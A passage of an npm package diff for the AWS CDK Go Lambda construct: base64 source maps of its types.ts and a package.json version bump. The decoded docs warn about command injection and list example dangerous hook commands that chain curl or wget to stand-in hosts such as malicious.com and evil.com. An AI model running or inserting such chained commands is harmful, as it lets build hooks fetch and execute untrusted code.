XTtcblxuICAvKipcbiAgICogV2hpY2ggb3B0aW9uIHRvIHVzZSB0byBjb3B5IHRoZSBzb3VyY2UgZmlsZXMgdG8gdGhlIGRvY2tlciBjb250YWluZXIgYW5kIG91dHB1dCBmaWxlcyBiYWNrXG4gICAqIEBkZWZhdWx0IC0gQnVuZGxpbmdGaWxlQWNjZXNzLkJJTkRfTU9VTlRcbiAgICovXG4gIHJlYWRvbmx5IGJ1bmRsaW5nRmlsZUFjY2Vzcz86IEJ1bmRsaW5nRmlsZUFjY2Vzcztcbn1cblxuLyoqXG4gKiBDb21tYW5kIGhvb2tzXG4gKlxuICogVGhlc2UgY29tbWFuZHMgd2lsbCBydW4gaW4gdGhlIGVudmlyb25tZW50IGluIHdoaWNoIGJ1bmRsaW5nIG9jY3VyczogaW5zaWRlXG4gKiB0aGUgY29udGFpbmVyIGZvciBEb2NrZXIgYnVuZGxpbmcgb3Igb24gdGhlIGhvc3QgT1MgZm9yIGxvY2FsIGJ1bmRsaW5nLlxuICpcbiAqIENvbW1hbmRzIGFyZSBjaGFpbmVkIHdpdGggYCYmYC5cbiAqXG4gKiBgYGB0ZXh0XG4gKiB7XG4gKiAgIC8vIFJ1biB0ZXN0cyBwcmlvciB0byBidW5kbGluZ1xuICogICBiZWZvcmVCdW5kbGluZyhpbnB1dERpcjogc3RyaW5nLCBvdXRwdXREaXI6IHN0cmluZyk6IHN0cmluZ1tdIHtcbiAqICAgICByZXR1cm4gW2BnbyB0ZXN0IC1tb2Q9dmVuZG9yIC4vLi4uYF07XG4gKiAgIH1cbiAqICAgLy8gLi4uXG4gKiB9XG4gKiBgYGBcbiAqL1xuZXhwb3J0IGludGVyZmFjZSBJQ29tbWFuZEhvb2tzIHtcbiAgLyoqXG4gICAqIFJldHVybnMgY29tbWFuZHMgdG8gcnVuIGJlZm9yZSBidW5kbGluZy5cbiAgICpcbiAgICogQ29tbWFuZHMgYXJlIGNoYWluZWQgd2l0aCBgJiZgLlxuICAgKi9cbiAgYmVmb3JlQnVuZGxpbmcoaW5wdXREaXI6IHN0cmluZywgb3V0cHV0RGlyOiBzdHJpbmcpOiBzdHJpbmdbXTtcblxuICAvKipcbiAgICogUmV0dXJucyBjb21tYW5kcyB0byBydW4gYWZ0ZXIgYnVuZGxpbmcuXG4gICAqXG4gICAqIENvbW1hbmRzIGFyZSBjaGFpbmVkIHdpdGggYCYmYC5cbiAgICovXG4gIGFmdGVyQnVuZGxpbmcoaW5wdXREaXI6IHN0cmluZywgb3V0cHV0RGlyOiBzdHJpbmcpOiBzdHJpbmdbXTtcbn1cbiJdfQ==
3
+ //# sourceMappingURL=data:application/json;base64,eyJ2ZXJzaW9uIjozLCJmaWxlIjoidHlwZXMuanMiLCJzb3VyY2VSb290IjoiIiwic291cmNlcyI6WyJ0eXBlcy50cyJdLCJuYW1lcyI6W10sIm1hcHBpbmdzIjoiIiwic291cmNlc0NvbnRlbnQiOlsiaW1wb3J0IHsgQXNzZXRIYXNoVHlwZSwgQnVuZGxpbmdGaWxlQWNjZXNzLCBEb2NrZXJJbWFnZSwgRG9ja2VyUnVuT3B0aW9ucyB9IGZyb20gJ2F3cy1jZGstbGliL2NvcmUnO1xuXG4vKipcbiAqIEJ1bmRsaW5nIG9wdGlvbnNcbiAqL1xuZXhwb3J0IGludGVyZmFjZSBCdW5kbGluZ09wdGlvbnMgZXh0ZW5kcyBEb2NrZXJSdW5PcHRpb25zIHtcbiAgLyoqXG4gICAqIEZvcmNlIGJ1bmRsaW5nIGluIGEgRG9ja2VyIGNvbnRhaW5lciBldmVuIGlmIGxvY2FsIGJ1bmRsaW5nIGlzXG4gICAqIHBvc3NpYmxlLlxuICAgKlxuICAgKiBAZGVmYXVsdCAtIGZhbHNlXG4gICAqL1xuICByZWFkb25seSBmb3JjZWREb2NrZXJCdW5kbGluZz86IGJvb2xlYW47XG5cbiAgLyoqXG4gICAqIEEgY3VzdG9tIGJ1bmRsaW5nIERvY2tlciBpbWFnZS5cbiAgICpcbiAgICogQGRlZmF1bHQgLSB1c2UgdGhlIERvY2tlciBpbWFnZSBwcm92aWRlZCBieSBAYXdzLWNkay9hd3MtbGFtYmRhLWdvLWFscGhhXG4gICAqL1xuICByZWFkb25seSBkb2NrZXJJbWFnZT86IERvY2tlckltYWdlO1xuXG4gIC8qKlxuICAgKiBMaXN0IG9mIGFkZGl0aW9uYWwgZmxhZ3MgdG8gdXNlIHdoaWxlIGJ1aWxkaW5nLlxuICAgKlxuICAgKiBGb3IgZXhhbXBsZTpcbiAgICogWydsZGZsYWdzIFwiLXMgLXdcIiddXG4gICAqXG4gICAqIOKaoO+4jyAqKlNlY3VyaXR5IFdhcm5pbmcqKjogVGhlc2UgZmxhZ3MgYXJlIHBhc3NlZCBkaXJlY3RseSB0byB0aGUgR28gYnVpbGQgY29tbWFuZC5cbiAgICogT25seSB1c2UgdHJ1c3RlZCB2YWx1ZXMgYXMgdGhleSBjYW4gZXhlY3V0ZSBhcmJpdHJhcnkgY29tbWFuZHMgZHVyaW5nIGJ1bmRsaW5nLlxuICAgKiBBdm9pZCBmbGFncyBsaWtlIGAtdG9vbGV4ZWNgIHdpdGggdW50cnVzdGVkIGFyZ3VtZW50cywgYW5kIGJlIGNhdXRpb3VzIHdpdGhcbiAgICogdGhpcmQtcGFydHkgQ0RLIGNvbnN0cnVjdHMgdGhhdCBtYXkgY29udGFpbiBtYWxpY2lvdXMgYnVpbGQgZmxhZ3MuXG4gICAqXG4gICAqIEBkZWZhdWx0IC0gbm9uZVxuICAgKi9cbiAgcmVhZG9ubHkgZ29CdWlsZEZsYWdzPzogc3RyaW5nW107XG5cbiAgLyoqXG4gICAqIEJ1aWxkIGFyZ3VtZW50cyB0byBwYXNzIHdoZW4gYnVpbGRpbmcgdGhlIGJ1bmRsaW5nIGltYWdlLlxuICAgKlxuICAgKiBAZGVmYXVsdCAtIG5vIGJ1aWxkIGFyZ3VtZW50cyBhcmUgcGFzc2VkXG4gICAqL1xuICByZWFkb25seSBidWlsZEFyZ3M/OiB7IFtrZXk6c3RyaW5nXSA6IHN0cmluZyB9O1xuXG4gIC8qKlxuICAgKiBEZXRlcm1pbmVzIGhvdyB0aGUgYXNzZXQgaGFzaCBpcyBjYWxjdWxhdGVkLiBBc3NldHMgd2lsbFxuICAgKiBnZXQgcmVidWlsdCBhbmQgdXBsb2FkZWQgb25seSBpZiB0aGVpciBoYXNoIGhhcyBjaGFuZ2VkLlxuICAgKlxuICAgKiBJZiB0aGUgYXNzZXQgaGFzaCBpcyBzZXQgdG8gYE9VVFBVVGAgKGRlZmF1bHQpLCB0aGUgaGFzaCBpcyBjYWxjdWxhdGVkXG4gICAqIGFmdGVyIGJ1bmRsaW5nLiBUaGlzIG1lYW5zIHRoYXQgYW55IGNoYW5nZSBpbiB0aGUgb3V0cHV0IHdpbGwgY2F1c2VcbiAgICogdGhlIGFzc2V0IHRvIGJlIGludmFsaWRhdGVkIGFuZCB1cGxvYWRlZC4gQmVhciBpbiBtaW5kIHRoYXQgdGhlXG4gICAqIGdvIGJpbmFyeSB0aGF0IGlzIG91dHB1dCBjYW4gYmUgZGlmZmVyZW50IGRlcGVuZGluZyBvbiB0aGUgZW52aXJvbm1lbnRcbiAgICogdGhhdCBpdCB3YXMgY29tcGlsZWQgaW4uIElmIHlvdSB3YW50IHRvIGNvbnRyb2wgd2hlbiB0aGUgb3V0cHV0IGlzIGNoYW5nZWRcbiAgICogaXQgaXMgcmVjb21tZW5kZWQgdGhhdCB5b3UgdXNlIGltbXV0YWJsZSBidWlsZCBpbWFnZXMgc3VjaCBhc1xuICAgKiBgcHVibGljLmVjci5hd3MvYml0bmFtaS9nb2xhbmc6MS4xNi4zLWRlYmlhbi0xMC1yMTZgLlxuICAgKlxuICAgKiBJZiB0aGUgYXNzZXQgaGFzaCBpcyBzZXQgdG8gYFNPVVJDRWAsIHRoZW4gb25seSBjaGFuZ2VzIHRvIHRoZSBzb3VyY2VcbiAgICogZGlyZWN0b3J5IHdpbGwgY2F1c2UgdGhlIGFzc2V0IHRvIHJlYnVpbGQuIElmIHlvdXIgZ28gcHJvamVjdCBoYXMgbXVsdGlwbGVcbiAgICogTGFtYmRhIGZ1bmN0aW9ucyB0aGlzIG1lYW5zIHRoYXQgYW4gdXBkYXRlIHRvIGFueSBvbmUgZnVuY3Rpb24gY291bGQgY2F1c2VcbiAgICogYWxsIHRoZSBmdW5jdGlvbnMgdG8gYmUgcmVidWlsdCBhbmQgdXBsb2FkZWQuXG4gICAqXG4gICAqIEBkZWZhdWx0IC0gQXNzZXRIYXNoVHlwZS5PVVRQVVQuIElmIGBhc3NldEhhc2hgIGlzIGFsc28gc3BlY2lmaWVkLFxuICAgKiB0aGUgZGVmYXVsdCBpcyBgQ1VTVE9NYC5cbiAgICovXG4gIHJlYWRvbmx5IGFzc2V0SGFzaFR5cGU/OiBBc3NldEhhc2hUeXBlO1xuXG4gIC8qKlxuICAgKiBTcGVjaWZ5IGEgY3VzdG9tIGhhc2ggZm9yIHRoaXMgYXNzZXQuIElmIGBhc3NldEhhc2hUeXBlYCBpcyBzZXQgaXQgbXVzdFxuICAgKiBiZSBzZXQgdG8gYEFzc2V0SGFzaFR5cGUuQ1VTVE9NYC4gRm9yIGNvbnNpc3RlbmN5LCB0aGlzIGN1c3RvbSBoYXNoIHdpbGxcbiAgICogYmUgU0hBMjU2IGhhc2hlZCBhbmQgZW5jb2RlZCBhcyBoZXguIFRoZSByZXN1bHRpbmcgaGFzaCB3aWxsIGJlIHRoZSBhc3NldFxuICAgKiBoYXNoLlxuICAgKlxuICAgKiBOT1RFOiB0aGUgaGFzaCBpcyB1c2VkIGluIG9yZGVyIHRvIGlkZW50aWZ5IGEgc3BlY2lmaWMgcmV2aXNpb24gb2YgdGhlIGFzc2V0LCBhbmRcbiAgICogdXNlZCBmb3Igb3B0aW1pemluZyBhbmQgY2FjaGluZyBkZXBsb3ltZW50IGFjdGl2aXRpZXMgcmVsYXRlZCB0byB0aGlzIGFzc2V0IHN1Y2ggYXNcbiAgICogcGFja2FnaW5nLCB1cGxvYWRpbmcgdG8gQW1hem9uIFMzLCBldGMuIElmIHlvdSBjaG9zZSB0byBjdXN0b21pemUgdGhlIGhhc2gsIHlvdSB3aWxsXG4gICAqIG5lZWQgdG8gbWFrZSBzdXJlIGl0IGlzIHVwZGF0ZWQgZXZlcnkgdGltZSB0aGUgYXNzZXQgY2hhbmdlcywgb3Igb3RoZXJ3aXNlIGl0IGlzXG4gICAqIHBvc3NpYmxlIHRoYXQgc29tZSBkZXBsb3ltZW50cyB3aWxsIG5vdCBiZSBpbnZhbGlkYXRlZC5cbiAgICpcbiAgICogQGRlZmF1bHQgLSBiYXNlZCBvbiBgYXNzZXRIYXNoVHlwZWBcbiAgICovXG4gIHJlYWRvbmx5IGFzc2V0SGFzaD86IHN0cmluZztcblxuICAvKipcbiAgICogQ29tbWFuZCBob29rc1xuICAgKlxuICAgKiDimqDvuI8gKipTZWN1cml0eSBXYXJuaW5nKio6IENvbW1hbmRzIGFyZSBleGVjdXRlZCBkaXJlY3RseSBpbiB0aGUgc2hlbGwgZW52aXJvbm1lbnQuXG4gICAqIE9ubHkgdXNlIHRydXN0ZWQgY29tbWFuZHMgZnJvbSB2ZXJpZmllZCBzb3VyY2VzLiBBdm9pZCBzaGVsbCBtZXRhY2hhcmFjdGVyc1xuICAgKiB0aGF0IGNvdWxkIGVuYWJsZSBjb21tYW5kIGluamVjdGlvbiBhdHRhY2tzLlxuICAgKlxuICAgKiBAZGVmYXVsdCAtIGRvIG5vdCBydW4gYWRkaXRpb25hbCBjb21tYW5kc1xuICAgKi9cbiAgcmVhZG9ubHkgY29tbWFuZEhvb2tzPzogSUNvbW1hbmRIb29rcztcblxuICAvKipcbiAgICogV2hldGhlciBvciBub3QgdG8gZW5hYmxlIGNnbyBkdXJpbmcgZ28gYnVpbGRcbiAgICpcbiAgICogVGhpcyB3aWxsIHNldCB0aGUgQ0dPX0VOQUJMRUQgZW52aXJvbm1lbnQgdmFyaWFibGVcbiAgICpcbiAgICogQGRlZmF1bHQgLSBmYWxzZVxuICAgKi9cbiAgcmVhZG9ubHkgY2dvRW5hYmxlZD86IGJvb2xlYW47XG5cbiAgLyoqXG4gICAqIFdoYXQgR28gcHJveGllcyB0byB1c2UgdG8gZmV0Y2ggdGhlIHBhY2thZ2VzIGludm9sdmVkIGluIHRoZSBidWlsZFxuICAgKlxuICAgKiBQYXNzIGEgbGlzdCBvZiBwcm94eSBhZGRyZXNzZXMgaW4gb3JkZXIsIGFuZC9vciB0aGUgc3RyaW5nIGAnZGlyZWN0J2AgdG9cbiAgICogYXR0ZW1wdCBkaXJlY3QgYWNjZXNzLlxuICAgKlxuICAgKiBCeSBkZWZhdWx0IHRoaXMgY29uc3RydWN0IHVzZXMgbm8gcHJveGllcywgYnV0IGEgc3RhbmRhcmQgR28gaW5zdGFsbCB3b3VsZFxuICAgKiB1c2UgdGhlIEdvb2dsZSBwcm94eSBieSBkZWZhdWx0LiBUbyByZWNyZWF0ZSB0aGF0IGJlaGF2aW9yLCBkbyB0aGUgZm9sbG93aW5nOlxuICAgKlxuICAgKiBgYGB0c1xuICAgKiBuZXcgZ28uR29GdW5jdGlvbih0aGlzLCAnR29GdW5jdGlvbicsIHtcbiAgICogICBlbnRyeTogJ2FwcC9jbWQvYXBpJyxcbiAgICogICBidW5kbGluZzoge1xuICAgKiAgICAgZ29Qcm94aWVzOiBbZ28uR29GdW5jdGlvbi5HT09HTEVfR09QUk9YWSwgJ2RpcmVjdCddLFxuICAgKiAgIH0sXG4gICAqIH0pO1xuICAgKiBgYGBcbiAgICpcbiAgICogQGRlZmF1bHQgLSBEaXJlY3QgYWNjZXNzXG4gICAqL1xuICByZWFkb25seSBnb1Byb3hpZXM/OiBzdHJpbmdbXTtcblxuICAvKipcbiAgICogV2hpY2ggb3B0aW9uIHRvIHVzZSB0byBjb3B5IHRoZSBzb3VyY2UgZmlsZXMgdG8gdGhlIGRvY2tlciBjb250YWluZXIgYW5kIG91dHB1dCBmaWxlcyBiYWNrXG4gICAqIEBkZWZhdWx0IC0gQnVuZGxpbmdGaWxlQWNjZXNzLkJJTkRfTU9VTlRcbiAgICovXG4gIHJlYWRvbmx5IGJ1bmRsaW5nRmlsZUFjY2Vzcz86IEJ1bmRsaW5nRmlsZUFjY2Vzcztcbn1cblxuLyoqXG4gKiBDb21tYW5kIGhvb2tzXG4gKlxuICogVGhlc2UgY29tbWFuZHMgd2lsbCBydW4gaW4gdGhlIGVudmlyb25tZW50IGluIHdoaWNoIGJ1bmRsaW5nIG9jY3VyczogaW5zaWRlXG4gKiB0aGUgY29udGFpbmVyIGZvciBEb2NrZXIgYnVuZGxpbmcgb3Igb24gdGhlIGhvc3QgT1MgZm9yIGxvY2FsIGJ1bmRsaW5nLlxuICpcbiAqIOKaoO+4jyAqKlNlY3VyaXR5IFdhcm5pbmcqKjogQ29tbWFuZHMgYXJlIGV4ZWN1dGVkIGRpcmVjdGx5IGluIHRoZSBzaGVsbCBlbnZpcm9ubWVudC5cbiAqIE9ubHkgdXNlIHRydXN0ZWQgY29tbWFuZHMgYW5kIGF2b2lkIHNoZWxsIG1ldGFjaGFyYWN0ZXJzIHRoYXQgY291bGQgZW5hYmxlXG4gKiBjb21tYW5kIGluamVjdGlvbiBhdHRhY2tzLlxuICpcbiAqICoqU2FmZSBwYXR0ZXJucyAoY3Jvc3MtcGxhdGZvcm0pOioqXG4gKiAtIGBnbyB0ZXN0IC4vLi4uYCAtIFN0YW5kYXJkIEdvIGNvbW1hbmRzIHdvcmsgb24gYWxsIHBsYXRmb3Jtc1xuICogLSBgZ28gbW9kIHRpZHlgIC0gR28gbW9kdWxlIGNvbW1hbmRzXG4gKiAtIGBlY2hvIFwiQnVpbGRpbmdcImAgLSBTaW1wbGUgb3V0cHV0IHdpdGggcXVvdGVzXG4gKiAtIGBtYWtlIGNsZWFuYCAtIEJ1aWxkIHRvb2xzIChpZiBhdmFpbGFibGUpXG4gKlxuICogKipEYW5nZXJvdXMgcGF0dGVybnMgdG8gYXZvaWQ6KipcbiAqXG4gKiAqV2luZG93czoqXG4gKiAtIGBnbyB0ZXN0ICYgY3VybC5leGUgbWFsaWNpb3VzLmNvbWAgKGNvbW1hbmQgY2hhaW5pbmcpXG4gKiAtIGBlY2hvICVVU0VSUFJPRklMRSVgIChlbnZpcm9ubWVudCB2YXJpYWJsZSBleHBhbnNpb24pXG4gKiAtIGBwb3dlcnNoZWxsIC1Db21tYW5kIFwiLi4uXCJgIChQb3dlclNoZWxsIGV4ZWN1dGlvbilcbiAqXG4gKiAqVW5peC9MaW51eC9tYWNPUzoqXG4gKiAtIGBnbyB0ZXN0OyBjdXJsIG1hbGljaW91cy5jb21gIChjb21tYW5kIGNoYWluaW5nKVxuICogLSBgZWNobyAkKHdob2FtaSlgIChjb21tYW5kIHN1YnN0aXR1dGlvbilcbiAqIC0gYGJhc2ggLWMgXCJ3Z2V0IGV2aWwuY29tXCJgIChzaGVsbCBleGVjdXRpb24pXG4gKlxuICogQ29tbWFuZHMgYXJlIGNoYWluZWQgd2l0aCBgJiZgLlxuICpcbiAqIEBzZWUgaHR0cHM6Ly9kb2NzLmF3cy5hbWF6b24uY29tL2Nkay9sYXRlc3QvZ3VpZGUvc2VjdXJpdHkuaHRtbFxuICovXG5leHBvcnQgaW50ZXJmYWNlIElDb21tYW5kSG9va3Mge1xuICAvKipcbiAgICogUmV0dXJucyBjb21tYW5kcyB0byBydW4gYmVmb3JlIGJ1bmRsaW5nLlxuICAgKlxuICAgKiDimqDvuI8gKipTZWN1cml0eSBXYXJuaW5nKio6IEVuc3VyZSBjb21tYW5kcyBjb21lIGZyb20gdHJ1c3RlZCBzb3VyY2VzIG9ubHkuXG4gICAqIENvbW1hbmRzIGFyZSBleGVjdXRlZCBkaXJlY3RseSBpbiB0aGUgc2hlbGwgZW52aXJvbm1lbnQuXG4gICAqXG4gICAqIENvbW1hbmRzIGFyZSBjaGFpbmVkIHdpdGggYCYmYC5cbiAgICovXG4gIGJlZm9yZUJ1bmRsaW5nKGlucHV0RGlyOiBzdHJpbmcsIG91dHB1dERpcjogc3RyaW5nKTogc3RyaW5nW107XG5cbiAgLyoqXG4gICAqIFJldHVybnMgY29tbWFuZHMgdG8gcnVuIGFmdGVyIGJ1bmRsaW5nLlxuICAgKlxuICAgKiDimqDvuI8gKipTZWN1cml0eSBXYXJuaW5nKio6IEVuc3VyZSBjb21tYW5kcyBjb21lIGZyb20gdHJ1c3RlZCBzb3VyY2VzIG9ubHkuXG4gICAqIENvbW1hbmRzIGFyZSBleGVjdXRlZCBkaXJlY3RseSBpbiB0aGUgc2hlbGwgZW52aXJvbm1lbnQuXG4gICAqXG4gICAqIENvbW1hbmRzIGFyZSBjaGFpbmVkIHdpdGggYCYmYC5cbiAgICovXG4gIGFmdGVyQnVuZGxpbmcoaW5wdXREaXI6IHN0cmluZywgb3V0cHV0RGlyOiBzdHJpbmcpOiBzdHJpbmdbXTtcbn1cbiJdfQ==
package/package.json CHANGED
@@ -1,6 +1,6 @@
1
1
  {
2
2
  "name": "@aws-cdk/aws-lambda-go-alpha",
3
- "version": "2.221.1-alpha.0",
3
+ "version": "2.223.0-alpha.0",
4
4
  "description": "The CDK Construct Library for AWS Lambda in Golang",
5
5
  "main": "lib/index.js",
6
6
  "types": "lib/index.d.ts",
@@ -78,18 +78,18 @@
78
78
  },
79
79
  "license": "Apache-2.0",
80
80
  "devDependencies": {
81
- "@aws-cdk/cdk-build-tools": "2.221.1-alpha.0",
81
+ "@aws-cdk/cdk-build-tools": "2.223.0-alpha.0",
82
82
  "@aws-cdk/integ-runner": "^2.190.2",
83
- "@aws-cdk/integ-tests-alpha": "2.221.1-alpha.0",
84
- "@aws-cdk/pkglint": "2.221.1-alpha.0",
83
+ "@aws-cdk/integ-tests-alpha": "2.223.0-alpha.0",
84
+ "@aws-cdk/pkglint": "2.223.0-alpha.0",
85
85
  "@types/jest": "^29.5.14",
86
- "aws-cdk-lib": "2.221.1",
86
+ "aws-cdk-lib": "2.223.0",
87
87
  "constructs": "^10.0.0"
88
88
  },
89
89
  "dependencies": {},
90
90
  "homepage": "https://github.com/aws/aws-cdk",
91
91
  "peerDependencies": {
92
- "aws-cdk-lib": "^2.221.1",
92
+ "aws-cdk-lib": "^2.223.0",
93
93
  "constructs": "^10.0.0"
94
94
  },
95
95
  "engines": {